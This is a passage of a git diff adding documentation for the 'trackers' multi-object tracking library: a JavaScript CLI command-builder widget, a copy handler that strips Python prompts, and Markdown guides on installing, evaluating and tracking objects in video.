createSelector(label, value, group, isSelected) { + const button = document.createElement("button"); + button.type = "button"; + button.className = `cb-selector ${isSelected ? "cb-selector--active" : ""}`; + button.textContent = `[ ${label} ]`; + button.dataset.value = value; + button.dataset.group = group; + return button; + } + + createCheckbox(label, key, checked) { + const wrapper = document.createElement("label"); + wrapper.className = `cb-checkbox ${checked ? "cb-checkbox--active" : ""}`; + + const input = document.createElement("input"); + input.type = "checkbox"; + input.checked = checked; + input.dataset.key = key; + + const marker = document.createElement("span"); + marker.className = "cb-check-marker"; + marker.textContent = checked ? "[x]" : "[ ]"; + + const text = document.createElement("span"); + text.className = "cb-check-label"; + text.textContent = label; + + wrapper.appendChild(input); + wrapper.appendChild(marker); + wrapper.appendChild(text); + return wrapper; + } + + createHeader(title) { + const header = document.createElement("div"); + header.className = "cb-header"; + header.textContent = `# ${title.toUpperCase()}`; + return header; + } + + createTextInputRow(label, placeholder, key, value, rowClass = "") { + const row = document.createElement("div"); + row.className = `cb-row ${rowClass}`.trim(); + + const labelEl = document.createElement("span"); + labelEl.className = "cb-label"; + labelEl.textContent = label; + + const equals = document.createElement("span"); + equals.className = "cb-equals"; + equals.textContent = "="; + + const valueWrap = document.createElement("span"); + valueWrap.className = "cb-value-wrap cb-value-wrap--text"; + + const leftBracket = document.createElement("span"); + leftBracket.className = "cb-bracket"; + leftBracket.textContent = "["; + + const input = document.createElement("input"); + input.type = "text"; + input.className = "cb-text-input"; + input.placeholder = placeholder; + input.value = value; + input.dataset.key = key; + input.dataset.placeholder = placeholder; + + const rightBracket = document.createElement("span"); + rightBracket.className = "cb-bracket"; + rightBracket.textContent = "]"; + + valueWrap.appendChild(leftBracket); + valueWrap.appendChild(input); + valueWrap.appendChild(rightBracket); + + row.appendChild(labelEl); + row.appendChild(equals); + row.appendChild(valueWrap); + + return row; + } + + createNumericInputRow(label, key, value, config, rowClass = "") { + const row = document.createElement("div"); + row.className = `cb-row ${rowClass}`.trim(); + + const labelEl = document.createElement("span"); + labelEl.className = "cb-label"; + labelEl.textContent = label; + + const equals = document.createElement("span"); + equals.className = "cb-equals"; + equals.textContent = "="; + + const controls = document.createElement("div"); + controls.className = "cb-numeric-controls"; + + const decButton = document.createElement("button"); + decButton.type = "button"; + decButton.className = "cb-num-btn"; + decButton.textContent = "[-]"; + decButton.dataset.action = "decrement"; + decButton.dataset.key = key; + + const valueWrap = document.createElement("span"); + valueWrap.className = "cb-value-wrap cb-value-wrap--numeric"; + + const leftBracket = document.createElement("span"); + leftBracket.className = "cb-bracket"; + leftBracket.textContent = "["; + + const input = document.createElement("input"); + input.type = "text"; + input.className = "cb-num-input"; + input.value = value; + input.dataset.key = key; + input.dataset.step = config.step; + input.dataset.min = config.min; + input.dataset.max = config.max; + input.dataset.decimals = config.decimals; + input.dataset.default = Object.prototype.hasOwnProperty.call(this.defaults, key) + ? this.defaults[key] + : value; + + const rightBracket = document.createElement("span"); + rightBracket.className = "cb-bracket"; + rightBracket.textContent = "]"; + + const incButton = document.createElement("button"); + incButton.type = "button"; + incButton.className = "cb-num-btn"; + incButton.textContent = "[+]"; + incButton.dataset.action = "increment"; + incButton.dataset.key = key; + + valueWrap.appendChild(leftBracket); + valueWrap.appendChild(input); + valueWrap.appendChild(rightBracket); + + controls.appendChild(decButton); + controls.appendChild(valueWrap); + controls.appendChild(incButton); + + row.appendChild(labelEl); + row.appendChild(equals); + row.appendChild(controls); + + return row; + } + + createSelectorRow(label, options, group, selectedValue, rowClass = "") { + const row = document.createElement("div"); + row.className = `cb-row ${rowClass}`.trim(); + + const labelEl = document.createElement("span"); + labelEl.className = "cb-label"; + labelEl.textContent = label; + + const equals = document.createElement("span"); + equals.className = "cb-equals"; + equals.textContent = "="; + + const selectors = document.createElement("div"); + selectors.className = "cb-selectors"; + + options.forEach((option) => { + selectors.appendChild( + this.createSelector(option, option, group, option === selectedValue) + ); + }); + + row.appendChild(labelEl); + row.appendChild(equals); + row.appendChild(selectors); + + return row; + } + } + + global.TrackersCLIBuilderFramework = { + TerminalCommandBuilder, + }; +})(window); diff --git a/docs/javascripts/command_builder.js b/docs/javascripts/command_builder.js new file mode 100644 index 0000000..ef1b5dd --- /dev/null +++ b/docs/javascripts/command_builder.js @@ -0,0 +1,410 @@ +/** + * Track command widget built on top of the reusable CLI builder framework. + */ +document.addEventListener("DOMContentLoaded", function () { + const root = document.getElementById("command-builder-widget"); + const framework = window.TrackersCLIBuilderFramework; + if (!root || !framework || !framework.TerminalCommandBuilder) return; + + // Default values for reference + const defaults = { + source: "source.mp4", + confidence: "0.5", + classes: "", + lostTrackBuffer: "30", + trackActivationThreshold: "0.25", + minimumConsecutiveFrames: "3", + minimumIouThreshold: "0.3", + output: "", + }; + + // Field configurations for numeric inputs + const numericFields = { + confidence: { step: 0.05, min: 0.05, max: 1, decimals: 2 }, + trackActivationThreshold: { step: 0.05, min: 0.05, max: 1, decimals: 2 }, + minimumIouThreshold: { step: 0.05, min: 0.05, max: 1, decimals: 2 }, + lostTrackBuffer: { step: 1, min: 1, max: 999, decimals: 0 }, + minimumConsecutiveFrames: { step: 1, min: 1, max: 99, decimals: 0 }, + }; + + // State + const initialState = { + source: "", + modelType: "detection", + modelSize: "nano", + confidence: "0.5", + device: "auto", + classes: "", + tracker: "bytetrack", + lostTrackBuffer: "30", + trackActivationThreshold: "0.25", + minimumConsecutiveFrames: "3", + minimumIouThreshold: "0.3", + display: false, + showBoxes: true, + showMasks: false, + showConfidence: false, + showLabels: false, + showIds: true, + showTrajectories: false, + output: "", + overwrite: false, + showModelOptions: false, + showTrackerOptions: false, + }; + + // Validation functions + function isValidDecimal01(value, min = 0) { + if (value === "") return true; + const num = parseFloat(value); + return !isNaN(num) && num >= min && num <= 1; + } + + function isValidPositiveInt(value) { + if (value === "") return true; + const num = parseInt(value, 10); + return !isNaN(num) && num > 0 && String(num) === value; + } + + function isValidClasses(value) { + return /^[\w,\s]*$/.test(value); + } + + // Generate command from state + function generateCommand(state) { + const parts = ["trackers track"]; + + const sourceValue = state.source.trim() || defaults.source; + if (sourceValue) { + parts.push(`--source ${sourceValue}`); + } + + const prefix = state.modelType === "segmentation" ? "rfdetr-seg-" : "rfdetr-"; + parts.push(`--model ${prefix}${state.modelSize}`); + + if (state.showModelOptions) { + if (state.confidence !== defaults.confidence && isValidDecimal01(state.confidence, 0.05)) { + parts.push(`--model.confidence ${state.confidence}`); + } + if (state.device !== "auto") { + parts.push(`--model.device ${state.device}`); + } + if (state.classes && isValidClasses(state.classes)) { + parts.push(`--classes ${state.classes}`); + } + } + + parts.push(`--tracker ${state.tracker}`); + + if (state.showTrackerOptions) { + if (state.lostTrackBuffer !== defaults.lostTrackBuffer && isValidPositiveInt(state.lostTrackBuffer)) { + parts.push(`--tracker.lost_track_buffer ${state.lostTrackBuffer}`); + } + if ( + state.trackActivationThreshold !== defaults.trackActivationThreshold && + isValidDecimal01(state.trackActivationThreshold, 0.05) + ) { + parts.push(`--tracker.track_activation_threshold ${state.trackActivationThreshold}`); + } + if ( + state.minimumConsecutiveFrames !== defaults.minimumConsecutiveFrames && + isValidPositiveInt(state.minimumConsecutiveFrames) + ) { + parts.push(`--tracker.minimum_consecutive_frames ${state.minimumConsecutiveFrames}`); + } + if ( + state.minimumIouThreshold !== defaults.minimumIouThreshold && + isValidDecimal01(state.minimumIouThreshold, 0.05) + ) { + parts.push(`--tracker.minimum_iou_threshold ${state.minimumIouThreshold}`); + } + } + + if (state.display) parts.push("--display"); + if (!state.showBoxes) parts.push("--no-boxes"); + if (state.showMasks) parts.push("--show-masks"); + if (state.showConfidence) parts.push("--show-confidence"); + if (state.showLabels) parts.push("--show-labels"); + if (!state.showIds) parts.push("--no-ids"); + if (state.showTrajectories) parts.push("--show-trajectories"); + + const outputValue = state.output.trim(); + if (outputValue) { + parts.push(`--output ${outputValue}`); + if (state.overwrite) { + parts.push("--overwrite"); + } + } + + return parts.join(" \\\n "); + } + + // Get validation errors + function getValidationErrors(state) { + const errors = []; + + if (state.showModelOptions) { + if (state.confidence && !isValidDecimal01(state.confidence, 0.05)) { + errors.push("Confidence must be between 0.05 and 1"); + } + if (state.classes && !isValidClasses(state.classes)) { + errors.push("Classes must contain only names, numbers, commas, and spaces"); + } + } + + if (state.showTrackerOptions) { + if (state.lostTrackBuffer && !isValidPositiveInt(state.lostTrackBuffer)) { + errors.push("lost_track_buffer must be a positive integer"); + } + if (state.trackActivationThreshold && !isValidDecimal01(state.trackActivationThreshold, 0.05)) { + errors.push("track_activation_threshold must be between 0.05 and 1"); + } + if (state.minimumConsecutiveFrames && !isValidPositiveInt(state.minimumConsecutiveFrames)) { + errors.push("minimum_consecutive_frames must be a positive integer"); + } + if (state.minimumIouThreshold && !isValidDecimal01(state.minimumIouThreshold, 0.05)) { + errors.push("minimum_iou_threshold must be between 0.05 and 1"); + } + } + + return errors; + } + + const builder = new framework.TerminalCommandBuilder({ + root, + defaults, + numericFields, + initialState, + ids: { + command: "cb-command", + errors: "cb-errors", + overwrite: "cb-overwrite", + }, + generateCommand, + getValidationErrors, + inputSanitizers: { + classes(value) { + return value.replace(/[^\w,\s]/g, ""); + }, + }, + onInputChange({ key, value, isCommit, builder: instance }) { + if (key !== "output") return; + + const hasOutput = value.trim() !== ""; + instance.setElementVisibleById(instance.ids.overwrite, hasOutput); + + if (isCommit && !hasOutput) { + instance.setCheckboxField("overwrite", false, { refresh: false }); + } + }, + renderBody(code, api) { + const { + ids, + state, + numericFields: numberConfig, + createHeader, + createSelector, + createCheckbox, + createTextInputRow, + createNumericInputRow, + createSelectorRow, + } = api; + + // MODEL Section + code.appendChild(createHeader("Model")); + + const modelTypeGrid = document.createElement("div"); + modelTypeGrid.className = "cb-model-type-grid cb-option-indent"; + + const detectionSelector = createSelector( + "detection", + "detection", + "modelType", + state.modelType === "detection" + ); + detectionSelector.style.gridColumn = "1"; + detectionSelector.classList.add("cb-selector--nudge-left"); + + const segmentationSelector = createSelector( + "segmentation", + "segmentation", + "modelType", + state.modelType === "segmentation" + ); + segmentationSelector.style.gridColumn = "3"; + + modelTypeGrid.appendChild(detectionSelector); + modelTypeGrid.appendChild(segmentationSelector); + code.appendChild(modelTypeGrid); + + const modelSizeGrid = document.createElement("div"); + modelSizeGrid.className = "cb-model-size-grid cb-option-indent cb-model-size-grid--before-toggle"; + ["nano", "small", "medium", "large"].forEach((size) => { + modelSizeGrid.appendChild( + createSelector(size, size, "modelSize", state.modelSize === size) + ); + }); + code.appendChild(modelSizeGrid); + + // Model Options + const modelOptionsToggle = createCheckbox( + "options", + "showModelOptions", + state.showModelOptions + ); + modelOptionsToggle.classList.add("cb-option-indent", "cb-option-toggle"); + code.appendChild(modelOptionsToggle); + + const modelOptionsContent = document.createElement("div"); + modelOptionsContent.className = "cb-options cb-option-indent"; + modelOptionsContent.dataset.collapsibleFor = "showModelOptions"; + modelOptionsContent.style.display = state.showModelOptions ? "block" : "none"; + modelOptionsContent.appendChild( + createNumericInputRow( + "confidence", + "confidence", + state.confidence, + numberConfig.confidence, + "cb-row--anchor-3" + ) + ); + modelOptionsContent.appendChild( + createSelectorRow( + "device", + ["auto", "cpu", "cuda", "mps"], + "device", + state.device, + "cb-row--anchor-3" + ) + ); + modelOptionsContent.appendChild( + createTextInputRow("classes", "person, car", "classes", state.classes, "cb-row--anchor-3") + ); + code.appendChild(modelOptionsContent); + + // TRACKER Section + code.appendChild(createHeader("Tracker")); + + const trackerSelectors = document.createElement("div"); + trackerSelectors.className = + "cb-tracker-type-grid cb-option-indent cb-selectors-row--before-toggle"; + const bytetrackSelector = createSelector( + "bytetrack", + "bytetrack", + "tracker", + state.tracker === "bytetrack" + ); + bytetrackSelector.style.gridColumn = "1"; + const sortSelector = createSelector("sort", "sort", "tracker", state.tracker === "sort"); + sortSelector.style.gridColumn = "3"; + trackerSelectors.appendChild(bytetrackSelector); + trackerSelectors.appendChild(sortSelector); + code.appendChild(trackerSelectors); + + // Tracker Options + const trackerOptionsToggle = createCheckbox( + "options", + "showTrackerOptions", + state.showTrackerOptions + ); + trackerOptionsToggle.classList.add("cb-option-indent", "cb-option-toggle"); + code.appendChild(trackerOptionsToggle); + + const trackerOptionsContent = document.createElement("div"); + trackerOptionsContent.className = "cb-options cb-option-indent"; + trackerOptionsContent.dataset.collapsibleFor = "showTrackerOptions"; + trackerOptionsContent.style.display = state.showTrackerOptions ? "block" : "none"; + trackerOptionsContent.appendChild( + createNumericInputRow( + "lost_track_buffer", + "lostTrackBuffer", + state.lostTrackBuffer, + numberConfig.lostTrackBuffer, + "cb-row--anchor-3" + ) + ); + trackerOptionsContent.appendChild( + createNumericInputRow( + "track_activation_threshold", + "trackActivationThreshold", + state.trackActivationThreshold, + numberConfig.trackActivationThreshold, + "cb-row--anchor-3" + ) + ); + trackerOptionsContent.appendChild( + createNumericInputRow( + "minimum_consecutive_frames", + "minimumConsecutiveFrames", + state.minimumConsecutiveFrames, + numberConfig.minimumConsecutiveFrames, + "cb-row--anchor-3" + ) + ); + trackerOptionsContent.appendChild( + createNumericInputRow( + "minimum_iou_threshold", + "minimumIouThreshold", + state.minimumIouThreshold, + numberConfig.minimumIouThreshold, + "cb-row--anchor-3" + ) + ); + code.appendChild(trackerOptionsContent); + + // VISUALIZATION Section + code.appendChild(createHeader("Visualization")); + + const vizCheckboxes = document.createElement("div"); + vizCheckboxes.className = "cb-checkboxes cb-option-indent"; + + const vizOptions = [ + { key: "display", label: "display", checked: state.display }, + { key: "showBoxes", label: "boxes", checked: state.showBoxes }, + { key: "showMasks", label: "masks", checked: state.showMasks }, + { key: "showConfidence", label: "confidence", checked: state.showConfidence }, + { key: "showLabels", label: "labels", checked: state.showLabels }, + { key: "showIds", label: "ids", checked: state.showIds }, + { key: "showTrajectories", label: "trajectories", checked: state.showTrajectories }, + ]; + + vizOptions.forEach((option) => { + vizCheckboxes.appendChild(createCheckbox(option.label, option.key, option.checked)); + }); + code.appendChild(vizCheckboxes); + + // SOURCE Section + code.appendChild(createHeader("Source")); + code.appendChild( + createTextInputRow( + "path", + "source.mp4", + "source", + state.source, + "cb-option-indent cb-row--anchor-3" + ) + ); + + // OUTPUT Section + code.appendChild(createHeader("Output")); + code.appendChild( + createTextInputRow( + "path", + "output.mp4", + "output", + state.output, + "cb-option-indent cb-row--anchor-3" + ) + ); + + const overwriteWrapper = document.createElement("div"); + overwriteWrapper.id = ids.overwrite; + overwriteWrapper.className = "cb-option-indent"; + overwriteWrapper.style.display = state.output.trim() ? "block" : "none"; + overwriteWrapper.appendChild(createCheckbox("overwrite", "overwrite", state.overwrite)); + code.appendChild(overwriteWrapper); + }, + }); + + builder.init(); +}); diff --git a/docs/javascripts/pycon_copy.js b/docs/javascripts/pycon_copy.js new file mode 100644 index 0000000..e2ba452 --- /dev/null +++ b/docs/javascripts/pycon_copy.js @@ -0,0 +1,193 @@ +/** + * Custom copy handler for Python console (pycon) code blocks. + * Strips >>> and ... prompts when copying code examples. + */ +document.addEventListener("DOMContentLoaded", function () { + const COPY_BUTTON_SELECTOR = ".md-clipboard, .md-code__button"; + + function handleCopyButtonClick(event) { + const copyButton = event.target.closest(COPY_BUTTON_SELECTOR); + if (!copyButton) return; + + const codeBlock = findCodeBlockForCopyButton(copyButton); + if (!codeBlock) return; + + const rawText = codeBlock.textContent || ""; + if (!shouldStripPrompts(codeBlock, rawText)) return; + + const strippedText = stripPythonPrompts(rawText); + primeClipboardButton(copyButton, strippedText); + } + + function handleCopyButtonPointerDown(event) { + const copyButton = event.target.closest(COPY_BUTTON_SELECTOR); + if (!copyButton) return; + + const codeBlock = findCodeBlockForCopyButton(copyButton); + if (!codeBlock) return; + + const rawText = codeBlock.textContent || ""; + if (!shouldStripPrompts(codeBlock, rawText)) return; + + const strippedText = stripPythonPrompts(rawText); + primeClipboardButton(copyButton, strippedText); + } + + function handleSelectionCopy(event) { + const selection = window.getSelection(); + if (!selection || selection.rangeCount === 0) return; + + const range = selection.getRangeAt(0); + const anchorNode = range.commonAncestorContainer; + const codeBlock = + anchorNode.nodeType === Node.ELEMENT_NODE + ? anchorNode.closest("code") + : anchorNode.parentElement?.closest("code"); + + if (!codeBlock) return; + + const rawText = selection.toString(); + if (!shouldStripPrompts(codeBlock, rawText)) return; + + event.preventDefault(); + event.stopPropagation(); + + const strippedText = stripPythonPrompts(rawText); + event.clipboardData?.setData("text/plain", strippedText); + } + + function bindCopyButtons(root) { + root.querySelectorAll(COPY_BUTTON_SELECTOR).forEach((button) => { + button.removeEventListener("click", handleCopyButtonClick, true); + button.addEventListener("click", handleCopyButtonClick, true); + button.removeEventListener( + "pointerdown", + handleCopyButtonPointerDown, + true + ); + button.addEventListener( + "pointerdown", + handleCopyButtonPointerDown, + true + ); + }); + } + + function observeDynamicCopyButtons() { + const observer = new MutationObserver((mutations) => { + for (const mutation of mutations) { + if (mutation.type !== "childList") continue; + mutation.addedNodes.forEach((node) => { + if (node.nodeType !== Node.ELEMENT_NODE) return; + if (node.matches?.(COPY_BUTTON_SELECTOR)) { + bindCopyButtons(node.parentElement || document); + return; + } + if (node.querySelectorAll) { + const hasButtons = node.querySelectorAll(COPY_BUTTON_SELECTOR); + if (hasButtons.length > 0) { + bindCopyButtons(node); + } + } + }); + } + }); + + observer.observe(document.body, { childList: true, subtree: true }); + } + + document.addEventListener("click", handleCopyButtonClick, true); + document.addEventListener("pointerdown", handleCopyButtonPointerDown, true); + document.addEventListener("copy", handleSelectionCopy, true); + bindCopyButtons(document); + observeDynamicCopyButtons(); +}); + +function primeClipboardButton(copyButton, strippedText) { + copyButton.setAttribute("data-clipboard-text", strippedText); + copyButton.removeAttribute("data-clipboard-target"); + copyButton.setAttribute("data-md-clipboard", "true"); +} + +function shouldStripPrompts(codeBlock, rawText) { + const hasReplPrompts = /(^|\n)[ \t]*(>>>|\.\.\.)/.test(rawText); + return ( + hasReplPrompts || + codeBlock.classList.contains("language-pycon") || + codeBlock.closest("pre")?.classList.contains("pycon") || + codeBlock.closest(".pycon") !== null || + codeBlock.closest(".highlight")?.classList.contains("pycon") + ); +} + +function findCodeBlockForCopyButton(copyButton) { + const targetSelector = copyButton.getAttribute("data-clipboard-target"); + if (targetSelector) { + const target = document.querySelector(targetSelector); + const targetCode = target?.querySelector?.("code") || target; + if (targetCode?.tagName?.toLowerCase() === "code") { + return targetCode; + } + } + return ( + copyButton.closest("pre")?.querySelector("code") || + copyButton.parentElement?.querySelector("pre code") || + copyButton + .closest(".highlight, .codehilite, .md-typeset__scrollwrap, .md-typeset") + ?.querySelector("pre code") || + copyButton + .closest(".highlight, .codehilite, .md-typeset__scrollwrap, .md-typeset") + ?.querySelector("code") + ); +} + +/** + * Strips Python REPL prompts (>>> and ...) from code text. + * Also removes output lines (lines that don't start with >>> or ...). + * + * NOTE: This is a best-effort parser. It preserves unprompted lines inside + * triple-quoted strings, but it does not fully model Python's tokenizer. + */ +function stripPythonPrompts(text) { + const lines = text.split("\n"); + const codeLines = []; + let inTripleQuotedString = false; + + function toggleTripleQuoteState(sourceLine) { + const tripleQuotePattern = /("""|''')/g; + const matches = sourceLine.match(tripleQuotePattern); + if (!matches) return; + if (matches.length % 2 === 1) { + inTripleQuotedString = !inTripleQuotedString; + } + } + + for (const line of lines) { + const trimmedLine = line.trimEnd(); + // Primary prompt: ">>> " + if (trimmedLine.startsWith(">>> ")) { + const stripped = trimmedLine.slice(4); + codeLines.push(stripped); + toggleTripleQuoteState(stripped); + } + // Continuation prompt: "... " + else if (trimmedLine.startsWith("... ")) { + const stripped = trimmedLine.slice(4); + codeLines.push(stripped); + toggleTripleQuoteState(stripped); + } + // Handle prompts without space after (edge case) + else if (trimmedLine === ">>>") { + codeLines.push(""); + } else if (trimmedLine === "...") { + codeLines.push(""); + } else if (inTripleQuotedString) { + codeLines.push(trimmedLine); + toggleTripleQuoteState(trimmedLine); + } + // Skip output lines (lines that don't start with prompts) + // This intentionally excludes output like "1.0" from the copied text + } + + return codeLines.join("\n").trim(); +} diff --git a/docs/learn/evaluate.md b/docs/learn/evaluate.md new file mode 100644 index 0000000..45ba841 --- /dev/null +++ b/docs/learn/evaluate.md @@ -0,0 +1,210 @@ +# Evaluate Trackers + +Measure how well your multi-object tracker performs using standard MOT metrics (CLEAR, HOTA, Identity). Get clear, reproducible scores for development, comparison, and publication. + +**What you'll learn:** + +- Evaluate single and multi-sequence tracking results +- Interpret HOTA, MOTA, and IDF1 scores +- Prepare datasets in MOT Challenge format + +--- + +## Installation + +```bash +pip install trackers +``` + +For alternative methods, see the [Install guide](install.md). + +--- + +## Quickstart + +Evaluate a single sequence by pointing to your ground-truth and tracker files, then view the results as a formatted table. + +=== "Python" + + ```python + from trackers.eval import evaluate_mot_sequence + + result = evaluate_mot_sequence( + gt_path="data/gt/MOT17-02-FRCNN.txt", + tracker_path="data/trackers/MOT17-02-FRCNN.txt", + metrics=["CLEAR", "HOTA", "Identity"], + ) + + print(result.table(columns=["MOTA", "HOTA", "IDF1", "IDSW"])) + ``` + + **Output:** + + ``` + Sequence MOTA HOTA IDF1 IDSW + ---------------------------------------------------------- + MOT17-02-FRCNN 75.600 62.300 72.100 42 + ``` + +=== "CLI" + + ```bash + trackers eval \ + --gt data/gt/MOT17-02-FRCNN.txt \ + --tracker data/trackers/MOT17-02-FRCNN.txt \ + --metrics CLEAR HOTA Identity \ + --columns MOTA HOTA IDF1 IDSW + ``` + + **Output:** + + ``` + Sequence MOTA HOTA IDF1 IDSW + ---------------------------------------------------------- + MOT17-02-FRCNN 75.600 62.300 72.100 42 + ``` + +--- + +## Data Format + +Ground truth and tracker files use MOT Challenge text format — a simple comma-separated .txt file where each line describes one detection. + +``` +,,,,,,,,, +``` + +**Example:** + +``` +1,1,100,200,50,80,1,-1,-1,-1 +1,2,300,150,60,90,1,-1,-1,-1 +2,1,105,198,50,80,1,-1,-1,-1 +``` + +**Fields:** + +- `frame` — Frame number (1-indexed) +- `id` — Unique object ID per track +- `bb_left`, `bb_top` — Top-left bounding box corner +- `bb_width`, `bb_height` — Bounding box dimensions +- `conf` — Confidence score (1 for ground truth) +- `x`, `y`, `z` — 3D coordinates (-1 if unused) + +--- + +## Directory Layouts + +The evaluator automatically detects whether you're using a flat or MOT-style structure. Both `gt_dir` and `tracker_dir` should point directly at the parent directory of the sequences. + +=== "MOT Layout" + + Standard MOT Challenge nested structure. Point `gt_dir` at the directory that directly contains the sequence folders, and `tracker_dir` at the directory containing the `{seq}.txt` files. + + ``` + gt/ + ├── MOT17-02-FRCNN/ + │ └── gt/gt.txt + ├── MOT17-04-FRCNN/ + │ └── gt/gt.txt + └── MOT17-05-FRCNN/ + └── gt/gt.txt + + trackers/ + ├── MOT17-02-FRCNN.txt + ├── MOT17-04-FRCNN.txt + └── MOT17-05-FRCNN.txt + ``` + + **Python** + + ```python + from trackers.eval import evaluate_mot_sequences + + result = evaluate_mot_sequences( + gt_dir="gt", + tracker_dir="trackers", + ) + ``` + + **CLI** + + ```bash + trackers eval --gt-dir gt --tracker-dir trackers + ``` + +=== "Flat Layout" + + One `.txt` file per sequence, placed directly in the directories. + + ``` + gt/ + ├── MOT17-02-FRCNN.txt + ├── MOT17-04-FRCNN.txt + └── MOT17-05-FRCNN.txt + + trackers/ + ├── MOT17-02-FRCNN.txt + ├── MOT17-04-FRCNN.txt + └── MOT17-05-FRCNN.txt + ``` + + **Python** + + ```python + from trackers.eval import evaluate_mot_sequences + + result = evaluate_mot_sequences( + gt_dir="gt", + tracker_dir="trackers", + ) + ``` + + **CLI** + + ```bash + trackers eval --gt-dir gt --tracker-dir trackers + ``` + +--- + +## Multi-Sequence Evaluation + +Run evaluation across many sequences and get both per-sequence results and a combined aggregate. + +=== "CLI" + + ```bash + trackers eval \ + --gt-dir data/gt \ + --tracker-dir data/trackers \ + --metrics CLEAR HOTA Identity \ + --columns MOTA HOTA IDF1 \ + --output results.json + ``` + +=== "Python" + + ```python + from trackers.eval import evaluate_mot_sequences + + result = evaluate_mot_sequences( + gt_dir="data/gt", + tracker_dir="data/trackers", + metrics=["CLEAR", "HOTA", "Identity"], + ) + + print(result.table(columns=["MOTA", "HOTA", "IDF1"])) + ``` + +**Output:** + +``` +Sequence MOTA HOTA IDF1 +---------------------------------------------------- +MOT17-02-FRCNN 75.600 62.300 72.100 +MOT17-04-FRCNN 78.200 65.100 74.800 +MOT17-05-FRCNN 71.300 59.800 69.200 +---------------------------------------------------- +COMBINED 75.033 62.400 72.033 +``` diff --git a/docs/learn/install.md b/docs/learn/install.md new file mode 100644 index 0000000..36d0c30 --- /dev/null +++ b/docs/learn/install.md @@ -0,0 +1,89 @@ +# Install `trackers` + +Get up and running with `trackers` in minutes. Choose your preferred package manager and start tracking objects in video. + +**What you'll learn:** + +- Install `trackers` with `pip` or `uv` +- Set up a development environment + +!!! tip "Requirements" + + Python `3.10` or higher is required. + +--- + +## Quickstart + +=== "pip" + + ```bash + pip install trackers + ``` + +=== "uv" + + ```bash + uv pip install trackers + ``` + + For `uv`-managed projects: + + ```bash + uv add trackers + ``` + +=== "From Source" + + Install the latest development version: + + ```bash + pip install https://github.com/roboflow/trackers/archive/refs/heads/develop.zip + ``` + +**Verify installation:** + +```bash +python -c "import trackers; print(trackers.__version__)" +``` + +--- + +## Development Setup + +Set up a local environment for contributing or modifying `trackers`. + +=== "virtualenv" + + ```bash + # Clone and enter repository + git clone --depth 1 -b develop https://github.com/roboflow/trackers.git + cd trackers + + # Create and activate environment + python3.10 -m venv venv + source venv/bin/activate + + # Install in editable mode + pip install --upgrade pip + pip install -e "." + ``` + +=== "uv" + + ```bash + # Clone and enter repository + git clone --depth 1 -b develop https://github.com/roboflow/trackers.git + cd trackers + + # Set up environment + uv python pin 3.10 + uv sync + uv pip install -e . --all-extras + ``` + +**Verify dev install:** + +```bash +python -c "import trackers; print(trackers.__version__)" +``` diff --git a/docs/learn/track.md b/docs/learn/track.md new file mode 100644 index 0000000..536ce39 --- /dev/null +++ b/docs/learn/track.md @@ -0,0 +1,485 @@ +# Track Objects + +Combine object detection with multi-object tracking to follow objects through video sequences, maintaining consistent IDs even through occlusions and fast motion. + +**What you'll learn:** + +- Run tracking from the command line with a single command +- Configure detection models and tracking algorithms +- Visualize results with bounding boxes, IDs, and trajectories +- Build custom tracking pipelines in Python + + + +--- + +## Install + +Use the base install for tracking with your own detector. The `detection` extra adds `inference-models` for built-in detection. + +```text +pip install trackers +``` + +```text +pip install trackers[detection] +``` + +For more options, see the [install guide](install.md). + +--- + +## Quickstart + +Read frames from video files, webcams, RTSP streams, or image directories. Each frame flows through detection to find objects, then through tracking to assign IDs. + +=== "CLI" + + Track objects with one command. Uses RF-DETR Nano and ByteTrack by default. + + ```text + trackers track --source source.mp4 --output output.mp4 + ``` + +=== "Python" + + While `trackers` focuses on ID assignment, this example uses `inference-models` for detection and `supervision` for format conversion to demonstrate end-to-end usage. + + ```python + import cv2 + + import supervision as sv + from inference import get_model + from trackers import ByteTrackTracker + + model = get_model("rfdetr-nano") + tracker = ByteTrackTracker() + + cap = cv2.VideoCapture("source.mp4") + while True: + ret, frame = cap.read() + if not ret: + break + + result = model.infer(frame)[0] + detections = sv.Detections.from_inference(result) + detections = tracker.update(detections) + ``` + +--- + +## CLI Command Builder + +Generate a production-ready `trackers track` command in seconds. Use interactive controls to tune core settings without memorizing flags. + +
+ +--- + +## Trackers + +Trackers assign stable IDs to detections across frames, maintaining object identity through motion and occlusion. + +=== "CLI" + + Select a tracker with `--tracker` and tune its behavior with `--tracker.*` arguments. + + ```text + trackers track --source source.mp4 --tracker bytetrack \ + --tracker.lost_track_buffer 60 \ + --tracker.minimum_consecutive_frames 5 + ``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ArgumentDescriptionDefault
--trackerTracking algorithm. Options: bytetrack, sort, ocsort.bytetrack
--tracker.lost_track_bufferFrames to retain a track without detections. Higher values improve occlusion handling but risk ID drift.30
--tracker.track_activation_thresholdMinimum confidence to start a new track. Lower values catch more objects but increase false positives.0.25
--tracker.minimum_consecutive_framesConsecutive detections required before a track is confirmed. Suppresses spurious detections.3
--tracker.minimum_iou_thresholdMinimum IoU overlap to match a detection to an existing track. Higher values require tighter alignment.0.3
+ +=== "Python" + + Customize the tracker by passing parameters to the constructor, then call `update()` each frame and `reset()` between videos. + + ```python + import cv2 + + import supervision as sv + from inference import get_model + from trackers import ByteTrackTracker + + model = get_model("rfdetr-nano") + tracker = ByteTrackTracker( + lost_track_buffer=60, + minimum_consecutive_frames=5, + ) + + cap = cv2.VideoCapture("source.mp4") + while True: + ret, frame = cap.read() + if not ret: + break + + result = model.infer(frame)[0] + detections = sv.Detections.from_inference(result) + detections = tracker.update(detections) + ``` + +--- + +## Detectors + +Trackers don't detect objects—they link detections across frames. A detection or segmentation model provides per-frame bounding boxes or masks that the tracker uses to assign and maintain IDs. + +=== "CLI" + + Configure detection with `--model.*` arguments. Filter by confidence and class before tracking. + + ```text + trackers track --source source.mp4 --model rfdetr-medium \ + --model.confidence 0.3 \ + --model.device cuda \ + --classes person,car + ``` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ArgumentDescriptionDefault
--modelModel identifier. Pretrained: rfdetr-nano, rfdetr-small, rfdetr-medium, rfdetr-large. Segmentation: rfdetr-seg-*.rfdetr-nano
--model.confidenceMinimum confidence threshold. Lower values increase recall but may add noise.0.5
--model.deviceCompute device. Options: auto, cpu, cuda, cuda:0, mps.auto
--classesComma-separated class names or IDs to track. Example: person,car or 0,2.all
--model.api_keyRoboflow API key for custom hosted models.none
